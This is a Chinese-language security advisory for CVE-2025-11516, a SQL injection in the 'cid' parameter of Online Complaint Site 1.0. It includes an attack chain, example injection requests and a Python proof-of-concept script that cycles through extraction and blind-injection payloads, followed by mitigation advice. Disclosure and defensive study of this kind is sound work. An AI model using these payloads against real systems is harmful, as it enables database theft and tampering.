IPBUF安全漏洞报告
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CVE-2025-11516 CVSS 6.3 中危

CVE-2025-11516:Online Complaint Site SQL注入漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11516
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Complaint Site

相关标签

SQL注入CVE-2025-11516code-projectsOnline Complaint SiteWeb应用漏洞中危漏洞PHPMySQL远程利用已公开Exploit

漏洞概述

CVE-2025-11516是code-projects公司开发的Online Complaint Site(在线投诉站点)1.0版本中存在的一个SQL注入漏洞。该漏洞位于/cms/users/complaint-details.php文件中,具体涉及对参数cid的处理逻辑存在缺陷。攻击者可以通过构造恶意的SQL语句作为cid参数的值,绕过应用程序的输入验证机制,直接与后端数据库进行交互。由于该漏洞可以通过网络远程利用,且攻击复杂度较低,仅需低权限认证即可发起攻击,因此对部署该系统的组织构成了显著的安全威胁。该漏洞已于2025年10月9日公开披露,且相关的漏洞利用代码(Exploit)已在公共渠道发布,意味着任何具备基本攻击能力的威胁行为者都可以利用此漏洞。该漏洞的CVSS 3.1基础评分为6.3分,属于中危级别,其CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,表明该漏洞会对系统的机密性、完整性和可用性均造成低程度的影响。Online Complaint Site作为一款用于管理用户投诉的Web应用程序,通常会存储大量敏感的用户数据和投诉信息,因此SQL注入漏洞可能导致数据泄露、数据篡改乃至整个数据库被完全控制等严重后果。

技术细节

该SQL注入漏洞的根本原因在于/cms/users/complaint-details.php文件中的cid参数未经过充分的过滤和参数化处理,直接被拼接到SQL查询语句中执行。当应用程序接收到用户提交的cid参数时,未使用预编译语句(Prepared Statements)或存储过程,而是采用了字符串拼接的方式构建SQL查询,从而导致恶意SQL代码可以被注入到原始查询中。

攻击者可以利用此漏洞执行以下操作:
1. 通过UNION SELECT语句提取数据库中的敏感信息,如管理员凭据、用户个人信息等;
2. 利用布尔盲注(Boolean-based Blind SQLi)或时间盲注(Time-based Blind SQLi)逐步推断数据库结构与内容;
3. 通过堆叠查询(Stacked Queries)在某些数据库配置下执行多条SQL语句,实现数据修改或删除操作;
4. 在MySQL等数据库中,利用LOAD_FILE()或INTO OUTFILE等函数读取服务器文件或写入Webshell。

由于该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),且仅需低权限(PR:L),无需用户交互(UI:N),攻击者可以在获得普通用户权限后,通过简单的HTTP请求即可触发漏洞。典型的利用请求示例如下:
GET /cms/users/complaint-details.php?cid=1' OR '1'='1 HTTP/1.1
或使用基于时间的盲注:
GET /cms/users/complaint-details.php?cid=1' AND SLEEP(5)-- - HTTP/1.1

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具发现目标系统运行Online Complaint Site 1.0版本,并定位到存在漏洞的端点/cms/users/complaint-details.php。
STEP 2
步骤2:获取低权限凭证
攻击者通过注册功能或利用泄露的凭证获取系统的普通用户账号,该漏洞需要低权限认证(PR:L)即可利用。
STEP 3
步骤3:登录系统
使用获取的凭证登录到/cms/users/目录,建立有效的会话Cookie。
STEP 4
步骤4:构造SQL注入Payload
针对cid参数构造恶意SQL注入Payload,可采用UNION注入、布尔盲注、时间盲注等多种技术。
STEP 5
步骤5:发送恶意请求
通过HTTP GET请求访问/cms/users/complaint-details.php?cid=<payload>,将恶意SQL代码注入到后端查询中。
STEP 6
步骤6:数据提取与利用
通过SQL注入获取数据库中的敏感信息,包括管理员凭据、用户个人数据等,或进一步利用获取的权限执行更深层次的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11516 PoC - SQL Injection in Online Complaint Site 1.0 # Vulnerable file: /cms/users/complaint-details.php # Vulnerable parameter: cid import requests TARGET_URL = "http://target.com" VULNERABLE_PATH = "/cms/users/complaint-details.php" # Step 1: Authentication (low privilege required) session = requests.Session() login_data = { "username": "testuser", "password": "testpass", "login": "submit" } session.post(f"{TARGET_URL}/cms/users/login.php", data=login_data) # Step 2: SQL Injection payloads for parameter 'cid' payloads = [ # Boolean-based SQLi test "1' OR '1'='1", "1' OR '1'='1' -- -", "1' UNION SELECT 1,2,3-- -", # Time-based blind SQLi test "1' AND SLEEP(5)-- -", "1'; WAITFOR DELAY '0:0:5'-- -", # Error-based SQLi test "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", # Extract database version "1' UNION SELECT 1,version(),database()-- -", # Extract table names "1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -", ] # Step 3: Exploit for payload in payloads: params = {"cid": payload} try: response = session.get(f"{TARGET_URL}{VULNERABLE_PATH}", params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if "error" in response.text.lower() or "warning" in response.text.lower(): print(f"[!] Potential SQL error detected!") print(response.text[:500]) print("-" * 80) except requests.exceptions.Timeout: print(f"[+] Time-based SQLi confirmed with payload: {payload}") except Exception as e: print(f"[-] Error: {e}")

影响范围

code-projects Online Complaint Site 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)使用WAF规则拦截包含UNION、SELECT、SLEEP等SQL关键字的恶意请求;2)在Web服务器层面限制对/cms/users/complaint-details.php的访问,仅允许可信IP访问;3)将数据库用户权限降至最低,禁用LOAD_FILE()、INTO OUTFILE等危险函数;4)监控数据库日志,检测异常的SQL查询行为;5)暂时禁用投诉详情查看功能,直至漏洞修复完成。

参考链接

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